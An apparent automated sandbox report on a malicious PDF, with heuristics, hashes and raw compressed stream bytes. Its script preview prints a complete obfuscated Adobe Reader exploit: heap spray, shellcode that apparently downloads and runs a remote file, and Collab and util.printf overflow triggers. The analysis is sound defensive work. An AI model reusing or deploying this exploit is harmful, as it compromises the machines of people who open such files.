MALICIOUS
82
Risk Score
Heuristics 2
-
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Analysis timed out (partial result) info ANALYSIS_TIMEOUT_PARTIALAnalysis exceeded the wall-clock timeout. Heuristics emitted by completed phases are preserved; phases interrupted mid-execution may have missed findings.
Extracted artifacts 13
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0020_000.js |
pdf-javascript-stream | PDF /JS object 20 at offset 0x3478 | 11914 bytes |
SHA-256: 6938125c0b8e927f81a9120db0e65ec5b34dc5eb3dd2d534822f908bdae40a20 |
|||
Preview scriptFirst 1,000 lines of the extracted script
�� v a r g 9 3 t c w L R = " z c G g Q q L K x 2 " ; v a r k 1 j P y i 2 a 1 = n e w A r r a y ( ) ; k 1 j P y i 2 a 1 [ 0 ] = 2 0 8 3 0 ; k 1 j P y i 2 a 1 [ 1 ] = 3 1 0 3 9 ; v a r p h a p w E B p = n e w A r r a y ( " u I E W G t F 8 F j " , " y K C F a L 0 3 p " , " l L P k p W x r " ) ; v a r s x z 3 T l E 7 H = ' v a r a T 2 S I g M r m = n e w A r r a y ( ) ; v a r j U C X k j e 3 R ; f u n c t i o n l H s k E a M k m ( m j Q 0 s 1 J m , v y 5 A n u j Z ) { w h i l e ( m j Q 0 s 1 J m . l e n g t h * 2 < v y 5 A n u j Z ) { m j Q 0 s 1 J m + = m j Q 0 s 1 J m ; } m j Q 0 s 1 J m = m j Q 0 s 1 J m . s u b s t r i n g ( 0 , v y 5 A n u j Z / 2 ) ; r e t u r n m j Q 0 s 1 J m ; } f u n c t i o n k T h 8 t y a i M l ( d w S y 8 4 E w q d ) { i f ( d w S y 8 4 E w q d = = 0 ) { v a r z w W H 2 g Y 7 = 0 x 0 c 0 c 0 c 0 c ; } e l s e i f ( d w S y 8 4 E w q d = = 1 ) { z w W H 2 g Y 7 = 0 x 3 0 3 0 3 0 3 0 ; } v a r l g z z b D v r J = n e w A r r a y ( \ " % u 5 3 5 \ " , \ " 0 % u 5 2 5 1 \ " , \ " % u 5 7 5 6 % u 9 c \ " , \ " 5 5 % u 0 0 e \ " , \ " 8 % u 0 0 0 0 % \ " , \ " u 5 d 0 0 % u e d 8 \ " , \ " 3 % u 3 1 0 \ " , \ " d % u 6 4 c 0 % u 4 \ " , \ " 0 0 3 % u 7 8 \ " , \ " 3 0 % u 8 b 0 c % \ " , \ " u 0 c 4 0 % u \ " , \ " 7 0 8 b % u a d 1 \ " , \ " c % u 4 0 8 \ " , \ " b % u e b 0 \ " , \ " 8 % u 8 b 0 9 % u \ " , \ " 3 4 4 0 % \ " , \ " u 4 0 8 d % u 8 \ " , \ " b 7 c % u 3 c \ " , \ " 4 0 % u 5 7 5 \ " , \ " 6 % u 5 e b e \ " , \ " % u 0 0 0 1 % u 0 1 \ " , \ " 0 0 % u b f e \ " , \ " e % u 0 1 4 e % u 0 \ " , \ " 0 0 0 % u e f 0 1 % \ " , \ " u d 6 e 8 % u \ " , \ " 0 0 0 1 % \ " , \ " u 5 f 0 0 % u 8 9 5 \ " , \ " e % u 8 1 \ " , \ " e a % u 5 \ " , \ " e c 2 % u 0 0 0 1 % \ " , \ " u 5 2 0 0 % \ " , \ " u 8 0 6 8 % \ " , \ " u 0 0 0 0 % u f f \ " , \ " 0 0 % u 4 e 9 5 % \ " , \ " u 0 0 0 1 % u 8 \ " , \ " 9 0 0 % u 8 1 e \ " , \ " a % u 5 e c 2 \ " , \ " % u 0 0 0 1 % u 3 \ " , \ " 1 0 0 % u 0 1 \ " , \ " f 6 % u 8 a c 2 \ " , \ " % u 3 5 9 c \ " , \ " % u 0 2 6 3 % u 0 0 \ " , \ " 0 0 % u f b 8 0 % u \ " , \ " 7 4 0 0 % u 8 8 \ " , \ " 0 6 % u 3 2 1 c % u \ " , \ " e b 4 6 % u c 6 \ " , \ " e e % u 3 2 0 \ " , \ " 4 % u 8 9 0 0 % u 8 \ " , \ " 1 e a % u 4 5 c 2 \ " , \ " % u 0 0 0 2 % \ " , \ " u 5 2 0 0 \ " , \ " % u 9 5 f f % u 0 1 \ " , \ " 5 2 % u 0 0 \ " , \ " 0 0 % u e a 8 9 % u \ " , \ " c 2 8 1 % \ " , \ " u 0 2 5 0 % u 0 0 \ " , \ " 0 0 % u 5 0 5 2 % \ " , \ " u 9 5 f f \ " , \ " % u 0 1 5 6 % \ " , \ " u 0 0 0 0 % \ " , \ " u 0 0 6 a \ " , \ " % u 0 0 6 a % u e a \ " , \ " 8 9 % u c 2 8 1 % \ " , \ " u 0 1 5 e \ " , \ " % u 0 0 0 0 \ " , \ " % u 8 9 5 2 % \ " , \ " u 8 1 e a % u 7 8 c \ " , \ " 2 % u 0 0 0 \ " , \ " 2 % u 5 2 0 \ " , \ " 0 % u 0 0 \ " , \ " 6 a % u d 0 f f \ " , \ " % u 0 5 6 a % u \ " , \ " e a 8 9 % \ " , \ " u c 2 8 1 % u \ " , \ " 0 1 5 e % u 0 \ " , \ " 0 0 0 % u f f 5 2 % \ " , \ " u 5 a 9 5 % u \ " , \ " 0 0 0 1 % \ " , \ " u 8 9 0 0 \ " , \ " % u 8 1 e \ " , \ " a % u 5 e c 2 % u \ " , \ " 0 0 0 1 % u 5 2 0 \ " , \ " 0 % u 8 0 6 8 \ " , \ " % u 0 0 0 0 % u f \ " , \ " f 0 0 % u 4 e \ " , \ " 9 5 % u 0 0 0 1 % u \ " , \ " 8 9 0 0 % \ " , \ " u 8 1 e a \ " , \ " % u 5 e c \ " , \ " 2 % u 0 0 0 \ " , \ " 1 % u 3 1 0 0 % u \ " , \ " 0 1 f 6 % u 8 a \ " , \ " c 2 % u 3 \ " , \ " 5 9 c % u 0 \ " , \ " 2 6 e % u 0 \ " , \ " 0 0 0 % u f b \ " , \ " 8 0 % u 7 4 0 0 % \ " , \ " u 8 8 0 6 % u 3 \ " , \ " 2 1 c % u e \ " , \ " b 4 6 % u c \ " , \ " 6 e e % u 3 2 0 4 % \ " , \ " u 8 9 0 0 % u 8 \ " , \ " 1 e a % u 4 5 \ " , \ " c 2 % u 0 \ " , \ " 0 0 2 % u 5 2 0 0 \ " , \ " % u 9 5 f f % \ " , \ " u 0 1 5 2 % u 0 0 \ " , \ " 0 0 % u e a 8 \ " , \ " 9 % u c 2 8 1 % u 0 \ " , \ " 2 5 0 % u \ " , \ " 0 0 0 0 % u 5 \ " , \ " 0 5 2 % u 9 5 f \ " , \ " f % u 0 1 5 6 % \ " , \ " u 0 0 0 0 % u 0 \ " , \ " 0 6 a % u 0 0 6 a \ " , \ " % u e a 8 9 % u c 2 \ " , \ " 8 1 % u 0 1 5 e \ " , \ " % u 0 0 0 0 \ " , \ " % u 8 9 5 2 % u 8 1 \ " , \ " e a % u a 6 c 2 % \ " , \ " u 0 0 0 2 \ " , \ " % u 5 2 0 0 % u 0 0 \ " , \ " 6 a % u d \ " , \ " 0 f f % u 0 5 \ " , \ " 6 a % u e a 8 9 % u \ " , \ " c 2 8 1 % u 0 1 5 \ " , \ " e % u 0 0 0 0 % \ " , \ " u f f 5 2 % \ " , \ " u 5 a 9 5 \ " , \ " % u 0 0 0 1 % u 9 d \ " , \ " 0 0 % u 5 f 5 d \ " , \ " % u 5 a 5 e % u 5 \ " , \ " b 5 9 % u c 3 \ " , \ " 5 8 % u 0 0 0 0 \ " , \ " % u 0 0 0 0 \ " , \ " % u 0 0 0 0 % u 0 0 \ " , \ " 0 0 % u 0 0 \ " , \ " 0 0 % u 0 0 0 0 % \ " , \ " u 0 0 0 0 % u 0 0 0 \ " , \ " 0 % u 6 5 4 7 \ " , \ " % u 5 4 7 \ " , \ " 4 % u 6 d 6 5 \ " , \ " % u 5 0 7 0 % u 7 \ " , \ " 4 6 1 % u 4 1 \ " , \ " 6 8 % u 4 c \ " , \ " 0 0 % u 6 1 6 f % \ " , \ " u 4 c 6 4 % u 6 2 6 \ " , \ " 9 % u 6 1 7 2 % \ " , \ " u 7 9 7 2 % u 0 \ " , \ " 0 4 1 % u 6 5 4 7 % \ " , \ " u 5 0 7 4 % u 6 \ " , \ " f 7 2 % u 4 1 6 3 \ " , \ " % u 6 4 6 \ " , \ " 4 % u 6 5 7 2 % u 7 \ " , \ " 3 7 3 % u \ " , \ " 5 7 0 0 % u 6 e \ " , \ " 6 9 % u 7 8 4 5 \ " , \ " % u 6 3 6 5 % u b b \ " , \ " 0 0 % u f 2 8 9 % \ " , \ " u f 7 8 9 % \ " , \ " u c 0 3 0 % \ " , \ " u 7 5 a e % u 2 9 \ " , \ " f d % u 8 9 f 7 \ " , \ " % u 3 1 f 9 % \ " , \ " u b e c 0 % u 0 0 3 \ " , \ " c % u 0 0 \ " , \ " 0 0 % u b 5 0 3 % u \ " , \ " 0 2 1 b % \ " , \ " u 0 0 0 0 % u a \ " , \ " d 6 6 % u 8 5 \ " , \ " 0 3 % u 0 2 1 b % u \ " , \ " 0 0 0 0 % u 7 0 8 \ " , \ " b % u 8 3 7 \ " , \ " 8 % u 1 c \ " , \ " c 6 % u b 5 0 3 % u \ " , \ " 0 2 1 b % u 0 0 0 \ " , \ " 0 % u b d 8 d % u 0 \ " , \ " 2 1 f % u 0 \ " , \ " 0 0 0 % u 0 3 a d % \ " , \ " u 1 b 8 5 % u \ " , \ " 0 0 0 2 % u a \ " , \ " b 0 0 % u 0 3 a d % \ " , \ " u 1 b 8 5 % \ " , \ " u 0 0 0 2 \ " , \ " % u 5 0 0 0 % u a d \ " , \ " a b % u 8 5 \ " , \ " 0 3 % u 0 \ " , \ " 2 1 b % u \ " , \ " 0 0 0 0 % \ " , \ " u 5 e a b % \ " , \ " u d b 3 1 % u 5 6 a \ " , \ " d % u 8 5 0 3 % u \ " , \ " 0 2 1 b % u \ " , \ " 0 0 0 0 % \ " , \ " u c 6 8 9 % u d \ " , \ " 7 8 9 % u f c 5 \ " , \ " 1 % u a 6 f \ " , \ " 3 % u 7 4 5 9 % u \ " , \ " 5 e 0 4 % u e b \ " , \ " 4 3 % u 5 e e 9 \ " , \ " % u d 1 9 3 % u 0 3 \ " , \ " e 0 % u 2 7 8 \ " , \ " 5 % u 0 0 0 2 % u 3 \ " , \ " 1 0 0 % u 9 6 f \ " , \ " 6 % u a d 6 \ " , \ " 6 % u e 0 c \ " , \ " 1 % u 0 3 0 2 % u 1 \ " , \ " f 8 5 % u 0 0 \ " , \ " 0 2 % u 8 9 0 \ " , \ " 0 % u a d \ " , \ " c 6 % u 8 5 0 3 % \ " , \ " u 0 2 1 b % u 0 0 \ " , \ " 0 0 % u e \ " , \ " b c 3 % u 0 0 \ " , \ " 1 0 % u 0 0 0 0 % \ " , \ " u 0 0 0 0 % u 0 0 \ " , \ " 0 0 % u 0 0 0 0 \ " , \ " % u 0 0 0 0 % u 0 0 \ " , \ " 0 0 % u 0 \ " , \ " 0 0 0 % u \ " , \ " 8 9 0 0 % u 1 b \ " , \ " 8 5 % u 0 \ " , \ " 0 0 2 % u 5 6 0 0 % \ " , \ " u e 8 5 7 % u f \ " , \ " f 5 8 % u f \ " , \ " f f f % u 5 e 5 \ " , \ " f % u 0 1 a b \ " , \ " % u 8 0 c \ " , \ " e % u b b 3 e \ " , \ " % u 0 2 7 4 % u e d \ " , \ " e b % u 5 \ " , \ " 5 c 3 % u 4 c 5 \ " , \ " 2 % u 4 f \ " , \ " 4 d % u 2 e 4 e % \ " , \ " u 4 c 4 4 % u 0 \ " , \ " 0 4 c % u 5 2 5 \ " , \ " 5 % u 4 4 \ " , \ " 4 c % u 7 7 6 f % \ " , \ " u 6 c 6 e % u 6 1 6 \ " , \ " f % u 5 4 6 4 \ " , \ " % u 4 6 6 f % u 6 \ " , \ " c 6 9 % u 4 1 \ " , \ " 6 5 % u 7 5 0 0 \ " , \ " % u 6 4 7 0 % \ " , \ " u 7 4 6 1 % u 2 e \ " , \ " 6 5 % u 7 8 \ " , \ " 6 5 % u 0 0 \ " , \ " 6 5 % u 7 2 6 3 % u \ " , \ " 7 3 6 1 % u \ " , \ " 2 e 6 8 % \ " , \ " u 6 8 7 0 % u 0 0 \ " , \ " 7 0 % u 7 4 \ " , \ " 6 8 % u 7 0 7 4 % u \ " , \ " 2 f 3 a % u \ " , \ " 7 3 2 f % u 6 1 7 \ " , \ " 4 % u 6 c 6 c % u \ " , \ " 6 1 7 6 % \ " , \ " u 7 3 7 2 % u 3 \ " , \ " 7 2 d % u \ " , \ " 6 3 2 e % u 2 f 6 e \ " , \ " % u 7 4 7 3 % \ " , \ " u 2 f 3 7 % u \ " , \ " 7 0 7 5 % u \ " , \ " 6 1 6 4 % u 6 5 7 4 \ " , \ " % u 7 0 2 \ " , \ " e % u 7 0 6 8 % \ " , \ " u 6 9 3 f % u \ " , \ " 3 d 6 4 % \ " , \ " u 2 6 3 3 % u 6 5 7 \ " , \ " 2 % u 3 d 7 4 % \ " , \ " u 6 b 6 f % u 9 \ " , \ " 0 0 0 \ " ) ; l g z z b D v r J = u n e s c a p e ( l g z z b D v r J . j o i n ( \ " \ " ) ) ; v a r t h x K G P q J = 0 x 4 0 0 0 0 0 ; v a r d N 4 i e P 2 i N J = l g z z b D v r J . l e n g t h * 2 ; v a r v y 5 A n u j Z = t h x K G P q J - ( d N 4 i e P 2 i N J + 0 x 3 8 ) ; v a r m j Q 0 s 1 J m = u n e s c a p e ( \ " % u 9 0 9 0 % u 9 0 9 0 \ " ) ; m j Q 0 s 1 J m = l H s k E a M k m ( m j Q 0 s 1 J m , v y 5 A n u j Z ) ; v a r h g g t y P D R = ( z w W H 2 g Y 7 - 0 x 4 0 0 0 0 0 ) / t h x K G P q J ; f o r ( v a r x M z 5 R F J D r = 0 ; x M z 5 R F J D r < h g g t y P D R ; x M z 5 R F J D r + + ) { a T 2 S I g M r m [ x M z 5 R F J D r ] = m j Q 0 s 1 J m + l g z z b D v r J ; } } f u n c t i o n g P d S G e m y l ( ) { v a r g w C F v 8 Q k M v = 0 ; v a r d W z 3 0 W c 8 S x = a p p . v i e w e r V e r s i o n . t o S t r i n g ( ) ; a p p . c l e a r T i m e O u t ( j U C X k j e 3 R ) ; i f ( ( d W z 3 0 W c 8 S x > = 8 & & d W z 3 0 W c 8 S x < 8 . 1 0 2 ) | | d W z 3 0 W c 8 S x < 7 . 1 ) { k T h 8 t y a i M l ( 0 ) ; v a r d U e c n n y R L = u n e s c a p e ( \ " % u 0 c 0 c % u 0 c 0 c \ " ) ; w h i l e ( d U e c n n y R L . l e n g t h < 4 4 9 5 2 ) d U e c n n y R L + = d U e c n n y R L ; v a r w A S h 3 W 7 k = t h i s ; v a r o N m Y v 6 F 8 = C o l l a b ; w A S h 3 W 7 k [ \ " c o l l a b S t o r e \ " ] = o N m Y v 6 F 8 [ \ " c o l l e c t E m a i l I n f o \ " ] ( { s u b j : \ " \ " , m s g : d U e c n n y R L } ) ; } i f ( ( d W z 3 0 W c 8 S x > = 8 . 1 0 2 & & d W z 3 0 W c 8 S x < 8 . 1 0 4 ) | | ( d W z 3 0 W c 8 S x > = 9 & & d W z 3 0 W c 8 S x < 9 . 1 ) | | d W z 3 0 W c 8 S x < = 7 . 1 0 1 ) { t r y { i f ( a p p . d o c . C o l l a b . g e t I c o n ) { k T h 8 t y a i M l ( 2 ) ; v a r g 9 9 l s B 5 a D 5 = u n e s c a p e ( \ " % 0 9 \ " ) ; w h i l e ( g 9 9 l s B 5 a D 5 . l e n g t h < 0 x 4 0 0 0 ) { g 9 9 l s B 5 a D 5 + = g 9 9 l s B 5 a D 5 ; } g 9 9 l s B 5 a D 5 = \ " N . \ " + g 9 9 l s B 5 a D 5 ; v a r w Q C e t 2 V u = a p p ; w Q C e t 2 V u [ \ " d o c \ " ] [ \ " C o l l a b \ " ] [ \ " g e t I c o n \ " ] ( g 9 9 l s B 5 a D 5 ) ; g w C F v 8 Q k M v = 1 ; } e l s e { g w C F v 8 Q k M v = 1 ; } } c a t c h ( e ) { g w C F v 8 Q k M v = 1 ; } i f ( g w C F v 8 Q k M v = = 1 ) { i f ( d W z 3 0 W c 8 S x = = 8 . 1 0 2 | | d W z 3 0 W c 8 S x = = 7 . 1 ) { k T h 8 t y a i M l ( 1 ) ; v a r k r n G x 4 e o Y = \ " 1 2 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 \ " ; f o r ( m T f N a r K 8 c = 0 ; m T f N a r K 8 c < 2 7 6 ; m T f N a r K 8 c + + ) { k r n G x 4 e o Y + = \ " 8 \ " ; } v a r x w M 9 u D R 1 Z = u t i l ; x w M 9 u D R 1 Z [ \ " p r i n t f \ " ] ( \ " % 4 5 0 0 0 f \ " , k r n G x 4 e o Y ) ; } } } } a p p . p W q k Q U 3 H = g P d S G e m y l ; j U C X k j e 3 R = a p p . s e t T i m e O u t ( \ " a p p . p W q k Q U 3 H ( ) \ " , 1 0 ) ; ' ; v a r x L n z z 5 N e 6 = n e w A r r a y ( " v W b V W R u E e D " , " o 3 S n d 0 K m x " , " p N o E 2 x p X " ) ; t h i s . g q 9 y A n 7 8 2 = ' h g r F U N J C ' ; t h i s . w A j P 8 N b z 6 = 1 6 5 2 3 ; v a r r 6 K I n q X s z = s x z 3 T l E 7 H . r e p l a c e ( / [ ] / g , ' ' ) ; v a r a H j 0 m N x G = n e w A r r a y ( ' i P u 6 3 I z 8 l ' , ' j R 3 y x e k i K c ' ) ; f u n c t i o n m W T f 2 N T m z ( q 6 b o d h A B , s S 1 n p u 7 q g , m o O I A G h C ) { r e t u r n f a l s e ; } v a r y 0 B z a R 3 C e = n e w A r r a y ( " p h l d a h I I t " , " r q V k M n 7 3 v X " , " w f N l a U R w A " ) ; v a r n S d 4 S n i 7 x = ' e ' + ' v ' + ' a ' + ' l ' ; a p p [ n S d 4 S n i 7 x ] ( r 6 K I n q X s z ) ; t h i s . g B S Q B V t K = f a l s e ; v a r x 8 t g a P 7 T c = n e w A r r a y ( 1 4 6 3 3 , 1 1 9 8 ) ; v U Y P S 6 x y P = 0 . 3 ;
|
|||
stream_005_off00003478.js |
decompressed-pdf-stream | PDF FlateDecoded stream at offset 0x3478 | 5956 bytes |
SHA-256: 7501619b206da3145bb42d19e6f807c6a4a35cfbc24b7b7ef7229b7f55ed5cb3 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s). 42 of 74 identifiers look randomly generated (e.g. 'dwSy84Ewqd') — consistent with name-mangling obfuscation.
|
|||
generic_stage_recovery_000.js |
deobfuscated-js | generic stage recovery null-collapse from raw PDF metadata at offset 0x0 | 21159 bytes |
SHA-256: 8607f2247503fdc147ee79d541538d058dc88fe80e25f80f64ce4e487f89804f |
|||
|
Detection
ClamAV:
Pdf.Exploit.CVE_2009_0927-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
%PDF-1.7
3 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 4 0 R>>
endobj
4 0 obj
<</Filter /FlateDecode /Length 2240>>
stream
x�śIs�8 ��� �a�j��p �\]�tuW�҉�0�� ��HH A �h��� K6d[k tR%ǒ)�� � �
�W<V�� ����g<ʛ�;��)�E �t����n� �FQ� � o )� � M� �i6��0��� �D�Q�o�w' ����I �� ���K��D�Y Oh ̓(���~�G���9�� �w����~� �����o9i��<� I�=iWq��*e������;o �S np <V7�,ք���� �yw�+���>`�筝 s��l� ,��4M�0}~.� ��v�����~�� *b��� Ռ� RQ� ��f� �.J�Q�YmH��1����̙��d�5�#ϴ0��AM�f͚�ə�GQ ��^� �LI����� �Ozd�W ���듍�l�q�h�\�hL/;2��j�;C��Վ8 �X}�z�(�LGY_ #�N5�rf*> ߈��b�U }i ��)F˾)ȴHn.����P�/���f������� ��0�[� C ���p2}�r��1�B %^� k� G�K��2�q ��40 o�bzC � ���# } pq�� &U��
����%�i6�C�w ](Zr ��cC��J�
� �� �� �� ���nl�!30]{u n��!7�&uݨ��=i���Lъ�,� 58I�3j�8��� +X�!� �[T��L % *'ު��0� 36TH�i)�q �_y�P �� ���3�"W�V ]�� /�ĥ a��>�Ϣ��� n��(� n��14��^Z�V�MG N�RPY�: �*��D������}D���(*)W��$�8R��G�!
��@f$���U� i� +;] dUJ�� nl�8����� �o�Oo�� K�jb ��K���i� (���%&/[vȉ�0[ �e�--�)Z � Z�������' G�C5
�@Ĵİ�3C�-]� p�z��q<x�O S �g�X[!A���� "��DE �� � ����@�V� yE� f� ���2� d�=��� �� kQ�Ka��V �z���y`�Kj8/l� FI
w1�� �N"���Q�v�JVy�?� ����jQ� � ,v�: �ۥ�0 ����^
� &. "�T4g����t�� �RpJ �捝 vA7p�� �ЮC���vY�Fb����� � /!�+��tu� ��B9j��:��^c>s��GR5���{��X��:uh�PШЮC�Ւ��ڙ�yy��0 ��y �L� v���d�4V F5�ߨN�t<��Ka|��L ;S��Jy�'q�u��ZeP" ���Z[�p� L�B\�� /�m�K��.�h�����-���T�Q��)bi;G Sl#�Œn_�� ��U��^X�2 f? |: �ɟ)�RZ�� �* �=7�&�2��G�5�to�g �l�[�t;�a���� 2�lPD��Bn{�u��Go' 7�O�� �|�6���J B �2� ڰ�,�:$薢��2� ��ݙ� �S� �� ��� AK,qO��� ٍ�H���H&�Qa�ÆOg��]e/���� uI*� ��`�L��;�4�E �x�A�lS ����5�ͧ� �����MtK�{i�`W�� v����o� wP3�����WmJ�8
�$�2��B�YG��io�ݸ6�� -�D�UJ�=�xgc��A����BɫW����m���˧����� 0� =!���%��3�&�QXa� �� �����c�[J!�0?W Y� )����� �`W���
/g�����#:�
&|:<s<�6u� {e�p��W��Lϓ�����
Um�Ӫo��
���j�$����W���ŗ��GX�1�b � y, +NB� �y�2ڿ�qN��Q^'U�9<�( �ކ ���#���U3�i� n^��Z�*hj%>���e��$�j��M� �S �� ���k��:ڪ�Ld�7Vzus � �� ��r�m�uw)(}:�: �k� x:����S#N�S�YuQ�x���+w�.GH�!����1D4�V��z��F�j�UU��T �?��~dp � ���w�ԣB�nw7�Ow# �S ��� �on �Y�8Թ�i&��"9 -ˊT3`���}�8�:� ��5� ���hq9 ��p6Ȋ�^m�{c �0�� �����dz������� ��u߫[DN��n[���L� �UQH~b ��_|z<u@:~��*]Qi'Q�W��P��Yѩ��:f}>O3��N �v�<{ � � l��̧������_ 6
}\���n��u�Y�� �]� ��^�g 9�\w��Y喉��4�;�-����� `>� �.� �3� � )����E]y��w� p{~�< 5" ����+� σ$u_�>�����&���.
�p ��ޣ � J�ܺ�� 7 j ��
endstream
endobj
5 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 6 0 R>>
endobj
6 0 obj
<</Filter /FlateDecode /Length 2222>>
stream
x�͛Ks� ��� �����p� ��NM�J��# �ŭT ��@� HQ��ρd 4��� ��*�e E� �χ �0H 4RH��uG���_ ^?�Uݼ��w?ƴ
nK������c EI����y0_�, Ҙ �( c� z�sD �� wBQ�� � ���g?uE�N4_ ��2� �-���kf�ϙ6?lY��� �� 7x��g1 �Mӄ��<H��M�� }[+���t���}�`��x���uwc�bC(n^^��O�g ���W���� � '��c V�P�&A�>�-�7����җ#��c # ��S
�U !f9��
^� �6r)�78fj�C˩T�!� �J�֜ k &)�U�t@?o8����ڂr�7݉vK|+p�^ }Mk�Y�)WE!�~�9 �ၗ�x :K��r/�G�� EM4��F�eAf�
�2ez� �}���5U��0 {K@�Uk^P�2!��-�Hsh� ZE�VlMB�{Z��� Lw��+4�ٴ� ��3�iR( �`X�&� m�/��l��f2\�$Z3Ȟ ��TR�ya(]a��Z�,�z�(�LO�P 1 &�����7�g����d ��eN'� �ɨ �§�8 V�Sk:�S.�h��P7�%��T�!��{M=S�s� F"�� 9�ÖJ�� z��(�Tn�wy2)$��tC��Loh#6�� � s� 2�5\3�a��+ ���($ ��f�Y�1�MG��l�m�8�. � g�L�қ
U�&6�glQ YN��.{�8�d ie�� � f��[����a�B�9��P�� w[~�Q�|��T ���d=�5 rZP&�
V� �T^S .� ; H)��� �'�%�+�a � ��C�!�sEkE\
$��0P'1p>gn�X|����� � �T(vQQ)Z��X[ b#���;+BY+kHl��ly mO�� &Ne9�ap
���d ���д � [�6+�` ��r͕�>e� �2�d a ��6��J#n�@�
�&�[ط �Id� !�I��! [����F��1����gF�p>���V_�ӣز�c]-
�Mcm �G��� �|ʝ9f=�)F\ [ڊ�� R� ZY�C� � �
� ���î� �E;d�f�C��� �b ��J��r�>g*�B;RP �Q�!��`� >͑J�� .�� �dT˴O��C^� = ��vB�� ���ikX�!� �|J� F��ϺhN�0�� 2]�B�E�� � �
�a> ,!+�����b���n�u9_���?
Y� ��S�ܡ*�0o�ve�+��a/��6���5�MCa
�j��u�]�����T�:Z5�9\� �}�^��{|��Qa2�'C� Ʌ�D��<�|ʝ9^}��Qh5 �K謙�6� �1l 2�Ké^S�� '��% ��4Bcp*� �
�.}�M �:T�� UW0� GRpJ xi�[�<��4�'����� ��c .��i|�,v7�G���+�k@�Ͷb��) ����} ���{� �\�Zu �� ��/�Q��GV�p �J��� `匉Ȭ�g���� � �z�T;M)�� K�V�L˷��A��^K����A1 �����C��h�f�c�)X?�#���& �� ��Y� dž
|�� t��r�j W~ ��`�ѦTĆj@�?5֛�8� t���Yx �0�
kZT�����#�%m�#�}
���ؚ��N�4︵:��'D# �V! P� d� = �ږ� �ϧ�� �T��D��s� W g{R� s�� ^#_:�>� �z��3ף+ � ��7���l���N� � N� ��5uf}}�{��[c��sʿ�H/A�O�3��- Nw�/��/y �r*rb%���s�$v Ϥ� L|�Z7���NCU V�5��g�o}�
�ÿ� > �)ڟ~2�&�z� � ��τ��� G {
UO?��TAs;Ř ��� �3�ݯO� ���� �� �6 �C@�Zb��4����b
��|�l�|#| ��
NÃ%�i �h/��)�\ /�� G �kz ����h�ye��Ht� :/��Sl�`st� X�%ca ��ʢ���}M<� 6C��J ��_UT8� k���gw � 6FU�D�h� �� in8��6�߰%|�S3 �F+ ���:N(�� - �����h��:ؼ�}~�Wt g =PD* � �6 n�����0��(�|�� �� ;� l� ���b=H~ =��>q ;�� ��Q�Oݚɶ����=� K#j���eJ�����j/�,��6g�ˋ> �S���� � ��p���i��-P ���ȑ`�V ~ ��� �ܛ��]D�ԡ��� �2HR������ ' Q�mi Q��T ���Qz ���&�� 2� W
endstream
endobj
7 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 8 0 R>>
endobj
8 0 obj
<</Filter /FlateDecode /Length 2395>>
stream
x�śM��8 ���+� �{������3 3 �1ӵ���9 �A6 J ��_��\ �]e���ގpU�m�R��>ʔ � u үx��?�+��g<���� m�0��-�x ���s Eq opIH�e���| ,f�ZEA8��� �D�I�oOW� ����� Ⱦ5<��r��D�U0��:Z QL� ��ׂ��p��,5 ��� �
^�z2��妋���2������ u_H��!U���}�`��� w�cwg�b��ݽ��� ~~�ɘ��~g0�?� �<�i�� l���" ����%}���F,};3�n��� �z������ )UBsEM!�X)�XZpMv.u@��(cY�Ӿ� � R�h��� g5����� �A�;V5� AI��ɔx#ӂ�pE��h�4 i� >� �� ��� �|� \�>�����)AXf���JH�T�^ / �~i�)۪!�*�y�d@�� V� �$UL�z��L� P{ ��!�ۨ:��lkC n�Q"�� ���
��+1( � }lkJ�j���� F�%�Nd���
F{��tv� }� �CR���J�% ����&SMy[��WKg�`��� �� de� J��c [�댌T�F�:�T��5^� E���ˁ�^�%n��Iմ �#�Ga�#?I;W ��u nQeF�M.�B��!�'ƅl)�_z�x�� �� ^MD� � !���?��il ��K�$��R���\o^C� O��$!���X�'�1�� ��ڼU i��4�5/��lݖ�4 ��s��\ $ő6��V���5��� �ro�� \" m[�P7�PZ2 y;P�n� �:A�77y�z�� � 3���� ^��'4)� g�� �#�X�0� �@4�6�1+9�HH� � J�0 }�3dä��S�J�� W :���� ���2a5��A�k��. k Z �%� ^ ��� $ �@� ˡJVv�Q��� # *������ �h+ �9���
���0�i� f �� #�`�MB�{ ڊ �H��A�1�d��B!��T>��;"���!; �� t�ig�xt�@��N�7 � �|�>!�/a��j +{��� ����#�%r%R[}�� � X�� "�@��}O%� ��t� �V� )���ZO���K��f>M� �ڼ ,�|N�b�w�h� KO��Yl H C V�g �"��:� ��9�
�v� � �x�9b�b)��V J <!�JSc��� �6� �X.nB ���2�L�� �� � i �;Q � ���g��.� ne�Z� ,�ڴ Pn�>z�w6 �"|�H;�>��\:ĝ+�α�� �F�u� x�-Nj͓w �
� R� L8�� � 5X�P�� � L�P8� � �� 6� ٥��1� �pT-�i+QK�G��� #�J+
� -�XS��xU��S�pb k�4 �&� < ��#�� .} +tt����`� ��9� ��wQ�RC��wk�5d m���h�|� _ [�ނ�T ^ q�v�?N�au7�@�a �x�j3����ʧ�+����
��� C�>X:�?['�� c�$y�W�� S�� �,�~�_ʴ�0 I7�� e�����ْѫ�s'�c�E�J
�C����1�N�}vGQ��0 �0gKQ�vFN��W�S�: ST���v��K| :u�^��7N���'Sv* ���U ef�]� �4V[m ; ���j�u�.z2m) �����P N
*�g �4w�$�
����)�ԅ �"~z�뚬C � ��
��JUɪg���x� qK9{E�t@_� ��,�/%f��E � �[��. -Ri�9 Ǫ��� c���
i�vm��،�4 �y�&��P�; }�^�ׁ�67l- ��%�}��S����� �i��e *:Ҭ� ! �s��m
� ԓ��WpV� �W���hO�� .���U*����� ͝m Ծj�N�Z��� 7�]���XU��� D�u�b�v m�D\2���)�f+����� �6� }� ��.��ə3�_|� �6`Ox�a �c�7ӛ�>�1 �I\�
